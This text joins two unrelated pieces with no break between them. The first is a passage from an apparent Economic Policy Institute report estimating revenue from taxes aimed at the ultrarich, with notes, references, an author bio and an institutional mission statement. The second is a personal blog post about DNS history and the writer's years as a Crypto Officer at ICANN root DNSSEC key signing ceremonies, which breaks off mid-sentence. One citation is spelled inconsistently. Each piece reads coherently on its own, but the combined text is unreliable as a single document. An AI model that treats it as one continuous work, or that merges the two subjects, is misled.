The $50 million threshold roughly hits at the top 0.1% of net worth among U.S. families, so this tax is, by construction, extremely progressive—only those universally acknowledged as extremely wealthy would pay a penny in additional tax. The WNI proposal also imposes a steep exit tax, should anybody subject to the tax attempt to renounce their U.S. citizenship to avoid paying it.
The Tax Policy Center (TPC) has estimated that the WNI wealth tax could raise $6.8 trillion in additional net revenue over the next decade, an average of $680 billion annually. In their estimate, the TPC has accounted for evasion attempts and the “externality” of reduced taxes likely to be collected on income flows stemming from wealth holdings. Despite accounting for these considerations, the $6.8 trillion in revenue over the next decade could completely close the nation’s current estimated fiscal gap.
A key consideration in the long-run sustainability of revenue collected through a wealth tax is how quickly the tax itself leads to a decline in wealth for those above the thresholds of the tax. If, for example, the tax rate itself exceeded the gross rate of return to wealth, wealth stocks above the thresholds set by the tax would begin shrinking, and there would be less wealth to tax over time. The Tax Policy Center’s estimate includes a simulation of this decumulation process, assuming an 8.5% rate of return.
7
It finds only very slow rates of decumulation.
Other simulation results (like those in Saez and Zucman 2019b) find faster decumulation for wealth taxes as high as this, but even their findings would still support the significant revenue potential of a wealth tax targeted at sustainability. Whereas the WNI wealth tax raises roughly 2.2% of GDP over the next 10 years, the Saez and Zucman (2019a) results highlight that over half this much could essentially be raised in perpetuity.
8
It is important to note that even if revenue raised from any given wealth tax came in lower than expected due to the decumulation of wealth, this decumulation is itself highly socially desirable. The wealth would not be extinguished. It would instead accumulate to other households throughout society. An analogy is carbon taxes targeted at lowering greenhouse gas emissions. If a carbon tax were implemented and the revenue it raised steadily fell over time, this would be a sign of success, as the primary virtue of such a tax is not the long-run revenue it can raise but the behavioral changes it can spur, such as switching to less carbon-intensive forms of energy generation and use.
The benefits from wealth decumulation could be profound. For one, much of the rise in wealth in recent decades has been the result of a zero-sum transfer of income claims away from workers and toward capital owners (Greenwald, Lettau, and Ludvigson 2025). To the degree that higher wealth taxes make these zero-sum transfers less desirable for privileged economic actors, the imperative to keep wages suppressed and profits higher will be sapped, leading to a broader distribution of the gains of economic growth.
Further, highly concentrated wealth leads naturally to highly concentrated political power, eroding the ability of typical families to have their voices heard in important political debates (Page, Bartels, and Seawright 2013). Studies show that popular support for democratic forms of government is weaker in more unequal societies, demonstrating that a greater concentration of wealth can lead to the erosion of democracy (Rau and Stokes 2024).
Converting the estate tax to a progressive inheritance tax
The estate tax in the United States currently only applies to estates of more than $11.4 million. At the end of 2025 it would have reverted to pre-2017 levels of roughly $7 million, but the Republican budget reconciliation bill passed in 2025 will raise it to a level more than twice as high starting in 2026—at $15 million. The 40% estate tax rate applies on values above these thresholds.
The estate tax threshold has been increased significantly since 2000, with changes in 2001, 2012, 2017, and 2025 all providing large increases. In 2000 the threshold for exemption was under $1 million, and the rate was 55%. If the 2000 threshold were simply updated for inflation, it would have been $1.3 million today, instead of $11.4 million. At this $1.3 million threshold and with a 55% rate, the estate tax would raise roughly $75 billion more in revenue this year than it is currently projected to.
9
In short, our commitment to taxing wealthy estates and their heirs has eroded substantially in recent decades.
Batchelder (2020) proposes a new tax on inheritances that would replace the estate tax. Batchelder’s inheritance tax would not fall on the total value of the estate, but simply the portion of it inherited by individual heirs. Her proposal is to tax inheritances of various thresholds as ordinary income. Because the tax would be triggered by the lifetime level of gifts and inheritances, it cannot be avoided just by using estate planning to time these bequests and gifts. For a threshold of $1 million, the tax would raise roughly 0.35% of gross domestic product annually, or roughly $1 trillion over the next decade.
An inheritance tax is naturally more progressive than an estate tax. To see why, imagine an estate of $5 million that faced 2000-era estate tax rules. An estate tax would lower the value of the inheritance to all heirs by an amount proportional to the tax. Conversely, under an inheritance tax, the effective rate of the tax felt by heirs would be significantly different if the estate was spread among 10 heirs (each receiving $500,000 and, hence, not even being subject to the Batchelder inheritance tax that starts at $1 million) versus being spread among two heirs (each receiving $2.5 million and paying an inheritance tax). Fewer heirs for a given estate value imply a larger inheritance and, hence, a higher inheritance tax (if the inheritance exceeds the tax’s threshold).
Imposing a high-income surtax on millionaires
Probably the most straightforward way to tightly target a tax on a small slice of the richest taxpayers is to impose a high-income surtax. A surtax is simply an across-the-board levy on all types of income (ordinary income, business income, dividends, and capital gains) above a certain threshold. As such, there is zero possibility that lower-income taxpayers could inadvertently face any additional tax obligation because of it.
A version of such a high-income surtax was actually a key proposed financing source for early legislative versions of the Affordable Care Act. The bill that passed the House of Representatives included such a surtax.
10
This surtax was replaced with other revenue sources during the reconciliation process between the House and Senate versions.
One proposal is to enact a 10% surtax on incomes over $1 million. This would affect well under 1% of households (closer to 0.5%). Using data from the Statistics of Income (SOI) of the Internal Revenue Service (IRS), we find that roughly $1.55 trillion in adjusted gross income sat over this $1 million threshold among U.S. households in 2019.
11
A purely static estimate with no behavioral effects, hence, would argue that $155 billion annually (10% of this $1.55 trillion) could be raised from this surcharge. In tax scoring models (like that of the Tax Policy Center or the Joint Committee on Taxation), behavioral effects tend to reduce estimates roughly 25% below such static estimates. Applying such a discount would still suggest that the revenue potential of a high-income surtax with a $1 million threshold could be $1.5 trillion over the next decade.
Raising the top marginal income tax rate back to pre-TCJA levels
During the Clinton and Obama administrations, the top marginal tax rate on ordinary income was increased to 39.6%. During the George W. Bush and the first Donald Trump administrations, it was reduced and currently sits at 37%. This lower marginal top rate would have expired at the end of 2025, but the Republican budget reconciliation bill, passed by Congress and signed by Trump in July 2025, ensured that it would stay at 37%.
In 2025 the bracket that this top tax rate applies to will begin at $626,350 for single filers and joint filers. This is well under 1% of taxpayers. If the bracket for top tax rates was dropped to $400,000 and the rate was raised to 39.6%, the Tax Policy Center has estimated that this could raise roughly $360 billion over the next decade. Earlier in 2025, there were reports that Republicans in Congress were thinking about letting the top tax rate revert to the level it was at before the 2017 Tax Cuts and Jobs Act (TCJA). This was touted as members of Congress breaking with their party’s orthodoxy and actually taxing the rich. On the contrary, the new top marginal tax rate now applies to joint filers at an even
lower
level than pre-TCJA rates.
As can be seen in
Table 1
, pushing the top marginal rate on ordinary income to pre-TCJA levels is one of the weakest tools we have for raising revenue from the rich. The reason is simple. A large majority of the income of the rich is not ordinary income; it is income derived from capital and wealth, and, hence, only changing the tax rate on ordinary income leaves this dominant income form of the rich untouched.
Corporate tax rate increases
In 2017 the TCJA lowered the top rate in the corporate income tax from 35% to 21%, and the 2025 Republican budget reconciliation bill extended that lower 21% rate. The 35% statutory rate that existed pre-TCJA was far higher than the
effective
rate actually paid by corporations. Significant loopholes in the corporate tax code allowed even highly profitable companies to pay far less than the 35% statutory rate.
But at the same time the TCJA lowered the statutory rate, it did little to reduce loopholes—the gap between effective and statutory rates after the TCJA’s passage remains very large.
12
Clausing and Sarin (2023) have estimated that each 1 percentage point increase in the top statutory tax rate faced by corporations raises over $15 billion in the first years of the 10-year budget window. Raising today’s 21% top rate back to the 35% rate that prevailed before the TCJA would, hence, raise roughly $2.6 trillion over the next decade.
The immediate legal incidence of corporate taxes falls on corporations, the legal entities responsible for paying the taxes. However, the
economic
incidence is subject to more debate. The current majority opinion of tax policy experts and official scorekeepers like the Joint Tax Committee (JTC) is that owners of corporations (who skew toward the very wealthy) bear most of the burden of corporate tax changes.
13
But some small share of the corporate tax rate’s incidence is often assigned to workers’ wages, as there are some (speculative) reasons to think a higher corporate tax rate leads in the long run to lower wage income. The economic reasoning is that if the higher corporate tax rates lead to less economywide investment in tangible structures, equipment, and intellectual property, then this could slow economywide productivity growth. This slower productivity growth could, in turn, reduce wage growth for workers.
However, newer research highlights that there are good reasons to think that corporate tax rate increases have zero—or even positive—effects on private investment in structures, equipment, and intellectual property. Brun, Gonzalez, and Montecino (2025, forthcoming) argue that once one accounts for market power (either in product or labor markets) of corporations, corporate taxes fall, in part, on nonreproducible monopoly rents. To provide an example, a large share of Amazon’s profits is not just due to the size of the firm’s capital stock but its considerable monopoly power in many business segments. This market power allows them to charge higher prices than they could in competitive markets, and these excess prices represent a pure zero-sum transfer from consumers, not a normal return to investment.
Increasing taxes on these monopoly rents can reduce stock market valuations of firms and actually lower the hurdle rate for potential competitors assessing whether to make investments in productivity-enhancing capital. This can actually boost investment and productivity economywide, and if investment and productivity rise (or just do not fall) in response to corporate tax increases, this implies that none of the economic incidence of a corporate tax increase falls on anybody but the owners of corporations.
In short, despite some mild controversy, it seems very safe to assume that increases in the corporate income tax rate both are and would be perceived by the public as extremely progressive.
Closing tax loopholes that the ultrarich and corporations use
As noted above, it’s not just falling tax rates that have led to revenue stagnation in recent decades. There has also been an erosion of tax bases. Growing loopholes and increasingly aggressive tax evasion strategies have put more and more income out of the reach of revenue collectors. It goes almost without saying that the vast majority of revenue escaping through these loopholes and aggressive tax evasion strategies constitutes the income of the very rich and corporations.
These types of loopholes are unavailable to typical working families because their incomes are reported to the Internal Revenue Service. Typical working families rely on wage income, which is reported to the penny to the IRS, and families pay their legally obligated tax amount. Income forms earned by the ultrarich, however, often have very spotty IRS reporting requirements, and this aids in the evasion and reclassification of income flows to ensure the ultrarich are taxed at the lowest rates.
14
Shoring up tax bases by closing loopholes and engaging in more robust enforcement are key priorities for ensuring the very rich pay a fair and substantial contribution to the nation’s revenue needs.
Closing loopholes that allow wealth gains and transfers between generations to escape taxation
The wealthy use a number of strategies to escape taxation of the income they generate and to allow assets to be transferred to their heirs. Below we discuss three such strategies and provide a score for a consolidated package of reforms aimed at stopping this class of tax strategies—$340 billion over the next decade.
Ending the step-up in basis upon death or transfer of assets
This is best explained with an example. Say that somebody bought shares of a corporation’s stock in the early 1980s for $1 per share. They held onto it for decades until it reached $501 per share. Since they never realized this capital gain by selling the stock, they were never taxed on their growing wealth. Now, say that they transferred these stock holdings to their children decades later. Because it is no longer the original buyer’s property, it would not be assessed as part of an estate subject to the estate tax. If their children subsequently sold the stock, current law would allow a step-up in basis, which means the capital gain they earned from selling the stock would only be taxed on the gain over and above the $501 per share price that prevailed
when they received the stock
, not the original $1 per share price.
So, if children sold their stock gift for $501 per share, they would owe zero tax. And for the family as a whole, the entire (enormous) capital gain that occurred when the share appreciated from $1 to $501 is
never
taxed. This allows huge amounts of wealth to be passed down through families without the dynasty’s ever paying appropriate taxes, either capital gains taxes or estate taxes.
An obvious solution to this problem is simply to not grant the step-up in basis when the asset is transferred. That is, when the children receive the stock in the example above, any subsequent sale should be taxed on any capital gain calculated from the $1 originally paid for the stock. In the case above, the children would have had to pay a capital gains tax on the full value between $1 and $501 if they had sold the stock for $501.
Besides raising money directly through larger capital gains values, ending the step-up in basis can also cut down on many tax engineering strategies that wealthy families undertake to avoid taxation. Estimates for the revenue that could be raised by enacting this change are quite varied, but they tend to sit between $15 billion and $60 billion in 2025.
15
We estimate this would raise $190 billion over the next decade.
An alternative solution getting at the same problem would be to make the death of a wealth holder a realizable event. Essentially, for the purposes of taxation, it would be assumed that all assets were sold by a wealth holder upon their death, and the appropriate rate of capital gains taxation would then be collected.
Making borrowing a realizable event
A related reform would make the pledging of any asset as collateral against a loan a realizable event. In the example above, as the original holder of the stock held the shares and did not sell them over a long period of time, this raises an obvious question of how this family is financing their current consumption without liquidating any wealth. They could, of course, be earning labor income. But the very wealthy often finance current consumption by taking out loans and using the value of their wealth as collateral. So long as the interest rates on the loans are lower than the rate of return on the wealth being pledged as collateral, they can enjoy high and rising consumption and still see considerable wealth appreciation. This is a particularly useful strategy during periods of low interest rates (like most of the past 25 years) and for owners of newer corporations that are growing rapidly (think Jeff Bezos and Amazon during the 2000s). This use of debt as a strategy of avoiding capital gains realization has often been called the “Buy, Borrow, Die” strategy.
An obvious reform to stop this would be to force wealth holders to treat pledging an asset as collateral as a realization event for this asset. When the wealth holder goes to financiers to get loans and pledges their shares as collateral, the wealth holder would pay a capital gains tax on the difference in the value of the stock between when they originally bought it and the value the day it is pledged for collateral. The amount of revenue this would raise would be small in the grand scheme of the federal budget, roughly $60 billion over the next decade. But it would provide one more block to a common tax evasion strategy for the ultrarich, and this could show up in more revenue collected through other taxes.
Closing loopholes that erode estate or inheritance tax bases
Hemel and Lord (2021) identify estate planning mechanisms that reduce the base of the current estates taxes, including the abuse of grantor retained annuity trusts (GRATs) and excessively preferential tax treatment of transfers within family-controlled entities. Under current law, wealthy individuals establishing a trust for their descendants may calculate the taxable gift amount of the trust by subtracting the value of any qualified interest. This qualified interest includes any term annuity retained by the grantor of the trust. The annuity is based on market interest rates prevailing when the trust was established. When interest rates are low, this becomes an extremely valuable deduction.
Hemel and Lord (2021) give the example of a grantor establishing a $100 billion trust but retaining a two-year annuity payment of $50.9 million based on the 1.2% interest rate prevailing in 2021. This taxpayer would be able to subtract this annuity from their taxable gift calculation, effectively paying no gift tax. If the assets in the trust grew faster than 1.2%, then the trust would have assets left over after two years, and these could be passed to the beneficiaries free of any transfer tax (as these assets came from the trust, not the original grantor). If assets in the trust grew more slowly than this amount, then the trust would be unable to make its full final annuity payment and would be declared a failed trust and would trigger no estate or gift tax consequences. In this case, the original grantor could simply try again to construct a short-term irrevocable trust that would succeed in transferring income to heirs without triggering a gift tax.
Hemel and Lord (2021) recommend repealing the law that allows for this deduction of qualified interest from gift or transfer taxes applying to GRATs. They also argue for reducing the preferential treatment of transfers within family-controlled entities. The full package of reforms to estate planning that they recommend would raise $90 billion over the next decade.
Closing the loophole from ambiguity between self-employment and net investment income
As part of the Affordable Care Act, a 3.8% tax was assessed on income above $200,000 (for single filers and $250,000 for joint filers). If this income is earned as wages or self-employment income, this tax is paid through the Federal Insurance Contributions Act (FICA) or the Self-Employment Contributions Act (SECA) taxes. If the income is received as a dividend or interest payment or royalty or other form of investment income, the tax is paid as a Net Investment Income Tax (NIIT). The clear intent is for income of all forms to be assessed this tax.
Somehow, however, some business owners (mostly those owning limited partnerships and S corporations—corporations with a limited number of shareholders who are required to pass through all profits immediately to owners) have managed to classify their income as not subject to FICA, SECA, or the NIIT.
16
A number of policy options could close this unintended gap and raise nontrivial amounts of revenue—roughly $25 billion in 2025. Importantly, the revenue collected by this loophole closing would go directly to the Medicare trust fund.
International corporate tax reform
Before the TCJA, the biggest loophole by far in the corporate income tax code was U.S. corporations’ ability to defer taxes paid on profits earned outside the United States. In theory, once these profits were repatriated, taxes would be levied on them. However, financial engineering meant that there was little need to repatriate these profits for reasons of undertaking investment or stock buybacks or anything else corporations wanted to do.
17
Further, corporations routinely lobbied for repatriation holidays, periods of time when they were allowed to repatriate profits at a reduced rate. One such holiday was passed by Congress and signed into law by George W. Bush in 2004.
Between 2004 and 2017, pressure for another such holiday ramped up as more and more firms deferred corporate taxes by holding profits offshore. The TCJA not only provided such a holiday for past profits kept offshore, it also made profits booked overseas mostly exempt from U.S. corporate taxes going forward. In essence, the TCJA turned deferral into an exemption.
This TCJA exemption of foreign-booked profits was subject to small bits of tax base protection. But they have been largely ineffective. The 2025 budget reconciliation bill would further exacerbate these problems, reducing taxes on foreign income even more.
Clausing and Sarin (2023) recommend a suite of corporate reforms that aims to level the playing field between firms booking profits in the United States versus overseas. Key among them would be to reform the Global Intangible Low-Taxed Income (GILTI) tax rate, a rate introduced in the TCJA, to ensure that financial engineering would not allow large amounts of corporate income earned by U.S.-based multinationals to appear as if they were earned in tax havens.
18
The GILTI is essentially a global minimum tax rate for U.S. multinationals. But the rate (10.5% in 2024 and 12.6% in 2025) is far too low to effectively stop this kind of tax haven-shopping for corporations, much lower than the 15% minimum rate negotiated by the OECD and agreed to by the Biden administration in 2022.
In addition, multinationals are currently allowed to blend all their foreign tax obligations globally and take credits for foreign corporate income taxes paid. So, taxes paid on a company’s actual manufacturing plant in, say, Canada, can count toward the GILTI contribution of a multinational, even if they then used financial engineering to shift most of their paper profits to tax havens like the Cayman Islands.
Raising the GILTI rate and applying it on a country-by-country basis would go a long way to preserving the base of the U.S. corporate income tax in the face of tax havens. The Clausing and Sarin (2023) suite of reforms would raise $42 billion in 2025.
Building up IRS enforcement capabilities and mandates
In 2022, the IRS estimated that the tax gap (the dollar value of taxes legally owed but not paid in that year) exceeded $600 billion. The richest households account for the large majority of this gap. The IRS in recent decades has lacked both the resources and the political support to properly enforce the nation’s tax laws and collect the revenue the richest households owe the country.
Due to this lack of resources and mandates, the IRS instead often took the perverse approach of leveraging enforcement against easy cases—easy both in terms of not taking much capacity and of not generating intense congressional backlash.
19
In practice, this meant intensively auditing recipients of refundable tax credits to look for improper payments. Tax credits are refundable when the amount of a credit (say, the Child Tax Credit) is larger than the taxpayer’s entire income tax liability. In this case, the credit does not just reduce income tax liability; it will also result in an outright payment (hence, refundable) to the taxpayer claiming it. Recipients of these refundable tax credits are,
by definition,
low-income taxpayers—those with low income tax liability. Besides making the lives of these low-income households more anxious, these audits also just failed to generate much revenue—again, because the group being audited was generally low income and didn’t owe significant taxes in the first place.
The Biden administration included significant new money to boost IRS enforcement capacity as part of the 2022 Inflation Reduction Act (IRA). This extra enforcement capacity was paired with new mandates to reduce the tax gap by increasing enforcement efforts on rich taxpayers.
However, the IRA additions to IRS resources were already being chiseled away before the 2024 presidential election. The Trump administration clearly has no interest in whether or not the IRS consistently enforces revenue collection from the rich. The budget reconciliation bill that Republicans passed through Congress in July rolled back the expanded funding for IRS enforcement. Trump’s proposed fiscal year 2026 budget for IRS funding would chip away at that even further.
The IRS has also not been immune to the Trump administration’s attempt to make life miserable for federal employees. The agency has lost a quarter of its workforce since 2025 to layoffs, the deferred resignation offer pushed by Elon Musk’s so-called Department of Government Efficiency, early retirements, and other separations (TIGTA 2025).
The sharp turn away from the Biden administration’s support of the IRS represents a missed opportunity. While it would be near impossible to fully close the tax gap, Sarin and Summers (2019) estimate that some modest and doable steps could reliably collect significantly over $100 billion per year over the next decade from increased enforcement efforts.
How much could a campaign of confidence-building measures to tax the ultrarich raise?
These measures to enact a series of tax reforms laser-targeted at only the rich could raise significant revenue. One obvious benchmark suggests itself: the current fiscal gap. The fiscal gap is how much (as a share of GDP) taxes would need to be raised or spending would need to be cut to stabilize the ratio of public debt to GDP. Today this gap stands at roughly 2.2%.
Table 1 gives a rough score for each of the provisions mentioned above. It then conservatively estimates the combined revenue-raising potential of this package. It assumes that the whole policy package is equal to 70% of the sum of its parts. This would help account for some fiscal “externalities” (i.e., taxing wealth means wealth grows more slowly over time and, hence, reduces tax collections on income earned from wealth going forward). It also would help account for some potentially duplicative effects that could reduce some revenue collected by the combination of these reforms. For example, if the step-up in basis were eliminated, the incentive for rich households to finance consumption with loans would be reduced, so the revenue generated by treating the pledging of collateral as a realizable event would likely be reduced.
This combination of confidence-building measures to tax the rich would unambiguously be able to close the nation’s current fiscal gap. The sum of the parts of this agenda would raise roughly 4% of GDP over the long run, and even if the sharp 30% discount on the sum of these parts was applied, it is still just under 3% of GDP. Telling the American public that this package of tax increases on the ultrarich had put the nation on a fully sustainable long-run trajectory while still leaving enough money to fund something as large as universal pre-K for 3- and 4-year-olds or a radical increase in more generous coverage in the nation’s unemployment insurance system could be seismic for changing the tax debate in the United States.
For those like us who advocate for even larger expansions of the U.S. system of income support, social insurance, and public investment, the future political debate over how to finance them would be on much more favorable ground with the public’s support. The conditions of the debate would change if the public could shake the (too often true) impression that the U.S. government is failing to ask the ultrarich and corporations to do their part to contribute to the nation’s fiscal needs.
Conclusion
Obviously, this program of laser-targeting tax increases on the ultrarich is not the policy of the current Trump administration or the Republican majority in Congress. They have already spent the first half of 2025 forcing through a monster of a reconciliation bill, which extended the expiring provisions of the TCJA, provisions that provide disproportionate benefits to the very rich. The reconciliation bill represents a shocking upward redistribution of income from the very poor to the very rich, paying for trillions of dollars in tax cuts that primarily benefit the wealthy by stripping health care and food assistance from millions of Americans.
But as damaging as extending these expiring provisions will be to tax fairness and economic outcomes, they might be even more damaging to the public’s confidence that tax policy can ever be reoriented to ensure that the ultrarich and corporations pay their fair share. Instead, the debate over the expiring provisions will draw attention to two facts. First, the large majority of U.S. households will see a tax cut (relative to current law), but these cuts will be much larger for the rich. For example, the bottom 60% of households will see a tax cut of just over $1 per day, while the top 1% will see a cut of $165 per day, and the top 0.1% will see a whopping $860 per day. Second, these regressive tax cuts are bundled with spending cuts that will sharply reduce incomes for the people in the bottom half of the income distribution, leaving them net losers overall.
This combination of facts will continue to feed perceptions that the only way typical households can get something—anything—out of tax policy debates is if they settle for crumbs from the feast enjoyed by the richest. And even these crumbs will be taken back in the form of cuts elsewhere.
It’s time to reverse these perceptions. If policymakers engage in a confidence-building set of measures to raise significant revenue only from the ultrarich, the public’s stance toward tax policy can be changed from being anti-tax to being willing to have debates about the pros and cons of public sector expansions, content in the knowledge that the very rich will neither escape their obligations nor claim the lion’s share of benefits yet again.
Notes
1.
Obviously not all of this downward ratchet is bad. The steep decline in tax rates for the poorest families, driven by expanding Earned Income and Child Tax credits, has been a very welcome policy development in recent decades.
2.
The strong relationship between the level of gross domestic product (GDP) per capita and the share of the public sector in a nation’s economy is recognized enough to have been named: Wagner’s Law.
3.
On the relative smallness of the U.S. fiscal state (both spending and taxation as shares of GDP), see EPI 2025.
4.
Bivens and Mishel 2021 note the number of intentional policy changes outside the sphere of taxation that have driven much of the growth in pre-tax inequality.
5.
For example, both the Affordable Care Act (ACA) and the Inflation Reduction Act (IRA) paid for the additional spending on public investments and income support programs they called for with new taxes. That said, because Republican-driven tax cuts were passed in the interim, the upshot has been mostly larger budget deficits over time.
6.
See Kogan and Vela 2024 for an explanation and estimation of the U.S. fiscal gap in 2024.
7.
The rate of return assumption matters a lot for how durable revenue increases from a wealth tax will be over time. A rate of 8.5% is on the high end of many projections for rates of return to wealth in coming decades.
8.
Specifically, they note about wealth taxes: “Set the rates medium (2%–3%) and you get revenue for a long time and deconcentration eventually” (Saez and Zucman 2019b). When they estimate the potential revenue of Elizabeth Warren’s 2% wealth tax on estates over $50 million (with an additional tax of 1% on wealth over a billion), they find it raises roughly 1% of GDP per year (Saez and Zucman 2019a).
9.
This estimate comes from the Penn Wharton Budget Model 2022.
10.
For a description of that surtax and the competing revenue options debated at the time, see Bivens and Gould 2009.
11.
This number has been inflated to 2024 dollars.
12.
See Gardner et al. 2024 on the effective corporate income tax rate before and after the TCJA.
13.
For example, the Distributional Financial Accounts of the Federal Reserve Board (2025) estimate that the wealthiest 1% of households own over 30% of corporate equities, while the wealthiest 10% own just under 90%.
14.
See Sarin and Summers 2019 for how much of the tax gap is driven by poor reporting requirements on income flows disproportionately earned by the rich—mostly various forms of noncorporate business income.
15.
This range of estimates comes from the Joint Committee on Taxation (JCT) 2023, and Lautz and Hernandez 2024. Part of this variation is about how much extra revenue is allocated to the strict step-up in basis termination versus the extra revenue that is collected through the normal capital gains tax as a result of closing this loophole.
16.
The details of this gap can be found in Office of Tax Analysis 2016. The upshot is that some business owners have managed to deny being active managers of their firms and have, hence, avoided being taxed on labor earnings, but they have somehow also managed to deny being passive owners of their firms, hence avoiding the NIIT as well. It is bizarre that this not-active but not-passive category of owner has been allowed to be given legal status, but that does seem to be the state of the law currently, until Congress acts.
17.
See Bivens 2016 on how profits held abroad by deferring taxation were not a constraint on any meaningful economic activity.
18.
I say “appear” because the ability and even the specific strategies corporations have to make profits clearly earned by sales in the United States appear on paper to have been earned in tax havens are all extremely well documented by now, including in Zucman 2015.
19.
See Elzayn et al. 2023 for evidence that the audit patterns of the IRS in the mid-2010s were driven by these considerations.
Brun, Lidía, Ignacio González, and Juan Antonio Montecino. 2025. “
Corporate Taxation and Market Power Wealth
.” Working Paper, Institute for Macroeconomic Policy Analysis (IMPA), February 12, 2025.
Elazyn, Hadi, Evelyn Smith, Thomas Hertz, Arun Ramesh, Robin Fisher, Daniel E. Ho, and Jacob Goldin. 2023. “
Measuring and Mitigating Racial Disparities in Tax Audits
.” Stanford Institute for Economic Policy Research (SIEPR) Working Paper, January 2023.
Hemel, Daniel, and Robert Lord. 2021. “
Closing Gaps in the Estate and Gift Tax Base
.” Working Paper, Coase-Sandor Working Paper Series in Law and Economics. University of Chicago Law School, August 13, 2021.
Josh Bivens is the chief economist at the Economic Policy Institute (EPI). His areas of research include macroeconomics, inequality, social insurance, public investment, and the economics of globalization.
Bivens has written extensively for both professional and public audiences, with his work appearing in peer-reviewed academic journals (like the Journal of Economic Perspectives) and edited volumes (like The Handbook of the Political Economy of Financial Crises from Oxford University Press), as well as in popular print outlets (like USA Today, the Wall Street Journal and the New York Times).
Bivens is the author of Failure by Design: The Story behind America’s Broken Economy (EPI and Cornell University Press) and Everybody Wins Except for Most of Us: What Economics Really Teaches About Globalization (EPI), and is a co-author of The State of Working America, 12th Edition (EPI and Cornell University Press).
Bivens has provided expert insight to a range of institutions and media, including formally testifying numerous times before committees of the U.S. Congress.
Before coming to EPI, he was an assistant professor of economics at Roosevelt University. He has a Ph.D. in economics from the New School for Social Research and a bachelor’s degree from the University of Maryland at College Park.
The Economic Policy Institute’s vision is an economy that is just and strong, sustainable, and equitable — where every job is good, every worker can join a union, and every family and community can thrive.
About EPI. The Economic Policy Institute (EPI) is a nonprofit, nonpartisan think tank working for the last 30 years to counter rising inequality, low wages and weak benefits for working people, slower economic growth, unacceptable employment conditions, and a widening racial wage gap. We intentionally center low- and middle-income working families in economic policy discussions at the federal, state, and local levels as we fight for a world where every worker has access to a good job with fair pay, affordable health care, retirement security, and a union.
We also know that research on its own is not enough—that’s why we intentionally pair our research with effective outreach and advocacy efforts as we fight to make concrete change in everyday people’s lives.
The Economic Policy Institute’s vision is for all workers to share equally in the economic prosperity of our country. Our research exposes the forces that seek to exclude and diminish the power of people of color and women—particularly Black, Brown, and indigenous people—to the benefit of white supremacy and wealthy elites. We recognize the economic legacy of anti-Blackness; slavery; colonialization; oppressive policies, practices, and institutions; and the persistence of structural racism, sexism, and xenophobia today. Therefore, our vision elevates the importance of racial, gender, and worker justice as central to the world we want to see.
Passing the Torch – My Last Root DNSSEC KSK Ceremony as Crypto Officer 4
Many years ago, when I was but an infant, the first computers were
connected on the
ARPANET
-
the seminal computer network that would eventually evolve to become
the Internet. Computers at the time were large and expensive; indeed
the first version of
NCP
- the predecessor of TCP/IP - only countenanced roughly 250 computers
on the network.
The name (human friendly) to network address (computer friendly)
mapping on this network was maintained via a "hosts file" - literally
a flat file of ordered pairs, creating the connection between host
(computer) name and address.
So it continued as computers got less expensive and proliferated, the
Network Effect
caused
more institutions to want to be connected to the ARPANET. TCP/IP was
developed in response to this, with support for orders of magnitude
more connected computers. Along the way, the military users of the
network got carved off into its own network, and by the early 1980s we
had the beginnings of the Internet, or a "catenet" as it was sometimes
called at the time - a network of networks.
Clearly, as we went from "a couple hundred computers" to "capacity for
billions", a centrally managed host file wasn't going to scale, and by
the early 1980s development had started on a distributed database to
replace the centrally managed file. The name for this distributed
database was the Domain Name System, or DNS.
It's important to realize that at the time, access to the network of
networks was still restricted to a chosen few - higher education,
research institutions, military organizations and the
military-industrial complex (ARPA, later DARPA, was, after all, an
activity of the United States Department of Defense), and a few
companies that were tightly associated with one or more of those
constituencies. Broad public commercial access to the Internet was
many years in the future.
It was in this environment that the DNS sprang forth. Academics,
military researchers, university students - a pretty collegial
environment. Not to mention paleo-cybersecurity practices - indeed
the word "cybersecurity" may not have even been coined yet, though the
notion of "computer security" dates back to the early 1970s.
I've mentioned this brief "history of the early Internet" to
preemptively answer the question which inevitably arises: why didn't
DNS have better security built in? The answer is twofold: firstly it
didn't have to based on the environment that it evolved in, and
secondly, even if it had, the security practices would have been
firmly rooted in 1980s best practices, which would certainly be
inadequate by modern standards.
Discovery of security flaws in 1990 led the IETF to begin development
on Domain Name System Security Extensions (DNSSEC) in 1995. Early versions were
difficult to deploy. Later versions improved somewhat. But inertia is a thing, the
status quo tends to prevail, and there was very real concern that DNSSEC would be
a net reliability minus (security vs. availability can be a tricky circle to square), concentrate
power in undesirable ways, and result in other unforeseen negative effects.
At the end of the day, as it so often does, it took a crisis to get
the ball rolling for real. In 2008,
Dan
Kaminsky
discovered a
fundamental flaw in DNS, which simplified cache poisoning -
essentially making it possible for an attacker to misdirect users to
arbitrary web sites.
In less than two years, the DNS root would be cryptographically signed
- allowing those who wished to sign their domains as well to create a
cryptographic chain of trust authenticating their DNS lookups. This
is non-repudiation, not non-disclosure - DNS queries and responses
continued to happen in the clear. But this time, responses came back
with a digital signature, courtesy of DNSSEC.
David Huberman at ICANN did a splendid slide deck explaining
how it all works
.
Trust in a system requires more than technical correctness. It
involves trust in the execution of running the system itself. For
that reason ICANN decided that it would build a framework to
facilitate trust and transparency. Among other things it included:
Placing the cryptographic material in two highly secure sites, one near Washington DC and one in Los Angeles (geographic diversity)
Creating a multi-layered security regimen requiring several people to access the Key Management Facility
Storing cryptographic material in offline
HSMs
which utilize
Shamir's Secret Sharing
to require a quorum of at least 3 out of 7 Crypto Officers to be present in order to "wake them up"
Trusted Community Representatives with roles of Crypto Officer and Recovery Key Share Holder
Highly scripted (and therefore auditable) ceremonies surrounding handling the cryptographc material
Live streaming all events
Hosting External Witnesses from the community who have expressed interest in being present for a ceremony in person
When the call for volunteers to be Trusted Community Representatives
came out, I was no stranger to community involvement, having served
several years on the ARIN Advisory Council and done community work
(and later Board work) for NANOG. I was employed by a Top Level
Domain operator, and submitted my CV and expressed my interest.
That's how I found myself in Culpeper, Virginia in 2010 as Crypto Officer 4 at the
first ceremony for signing the DNSSEC Root. I had no idea that I would still be doing it fifteen years
later. I was the last of the original Crypto Officers for KMF-East, and the
second last overall - outlasted only by Subramanian "SM" Moonesamy, who is Crypto Officer 7 for KMF-West.
It's been an adventure. I've been a small participant in root key
rolls, put in a B-roll appearance on BBC Horizon (S53E13), become
friends with many of the people I served with, overseen ceremonies
remotely during the COVID lockdown, and witnessed an amazing pivot by
ICANN staff who managed to get new HSMs selected, tested, integrated,
and deployed on only 8 months' notice, a feat which I remain in awe
of.
I was an early advocate for improving trust in our process by
leveraging natural turnover and backfilling existing
TCRs with people selected from a broader set of qualified individuals
than just the fellowship of DNS protocol experts, operators, and
developers. I'm grateful that our voices were heard.
On November 13th 2025, I passed the torch to
Lodrina
Cherne
